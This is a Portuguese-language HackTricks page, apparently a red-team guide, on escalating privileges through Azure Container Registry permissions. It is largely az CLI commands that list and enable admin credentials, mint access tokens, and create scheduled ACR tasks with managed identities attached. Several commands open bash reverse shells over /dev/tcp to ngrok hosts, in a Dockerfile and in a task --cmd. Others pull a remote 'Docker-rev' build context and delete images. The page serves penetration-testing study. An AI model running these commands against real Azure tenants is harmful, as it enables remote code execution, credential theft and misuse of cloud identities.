Az - Azure Container Registry Privesc
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Azure Container Registry
Para mais informações, consulte:
Microsoft.ContainerRegistry/registries/listCredentials/action
Esta permissão permite que o usuário liste as credenciais de administrador do ACR. Isso é útil para obter acesso total ao registro.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Caso as credenciais de administrador não estejam habilitadas, você também precisará da permissão Microsoft.ContainerRegistry/registries/write
para habilitá-las com:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Essas permissões permitem que o usuário crie um novo token com senhas para acessar o registro.
Para usar o az cli
para gerá-lo como no exemplo a seguir, você também precisará das permissões Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Essas permissões permitem que o usuário construa e execute uma imagem no registro. Isso pode ser usado para executar código no contêiner.
[!WARNING] No entanto, a imagem será executada em um ambiente isolado e sem acesso ao serviço de metadados. Isso significa que o contêiner não terá acesso aos metadados da instância, então isso não é realmente útil para escalar privilégios.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Esta é a permissão principal que permite criar e atualizar uma tarefa no registro. Isso pode ser usado para executar um código dentro de um contêiner com uma identidade gerenciada anexada a ele no contêiner.
Este é o exemplo de como executar um shell reverso em um contêiner com a identidade gerenciada do sistema anexada a ele:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Outra maneira de obter um RCE a partir de uma tarefa sem usar um repositório externo é usar o comando az acr task create
com a flag --cmd
. Isso permitirá que você execute um comando no contêiner. Por exemplo, você pode executar um shell reverso com o seguinte comando:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Observe que para atribuir a identidade gerenciada pelo sistema, você não precisa de nenhuma permissão especial, embora ela deva ter sido habilitada anteriormente no registro e ter recebido algumas permissões para ser útil.
Para atribuir uma identidade gerenciada pelo usuário também, você precisaria da permissão Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
para fazer:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Para atualizar o repositório de uma tarefa existente, você pode fazer:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Com esta permissão, é possível importar uma imagem para o registro do azure, mesmo sem ter a imagem localmente. No entanto, observe que você não pode importar uma imagem com uma tag que já existe no registro.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Para remover ou deletar uma tag de imagem específica do registro, você pode usar o seguinte comando. No entanto, observe que você precisará de um usuário ou token com permissões suficientes para fazê-lo:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.